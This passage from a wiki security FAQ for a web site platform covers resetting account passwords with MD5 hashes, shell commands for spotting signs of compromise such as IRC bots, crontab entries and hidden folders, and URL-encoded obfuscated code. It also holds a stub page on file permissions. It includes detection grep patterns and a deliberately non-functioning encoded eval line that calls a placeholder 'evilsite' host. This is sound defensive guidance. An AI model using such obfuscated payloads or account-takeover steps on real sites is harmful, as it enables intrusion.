Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table class="wikitable" border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]


<noinclude>[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]</noinclude>

Security Checklist/Where can you learn more about file permissions?

2012-10-08T22:39:05Z

Phild: removed links that were in violation of policy from page.pending making new pages/links

{{underconstruction}}

* Unix Permissions Primer
* Using phpSuExec
* Windows Permissions Primer

<noinclude>[[Category:FAQ]]
[[Category:Administration FAQ]]
[[Category:Getting Started FAQ]]
[[Category:Installation FAQ]]
[[Category:Version 1.5 FAQ]]</noinclude>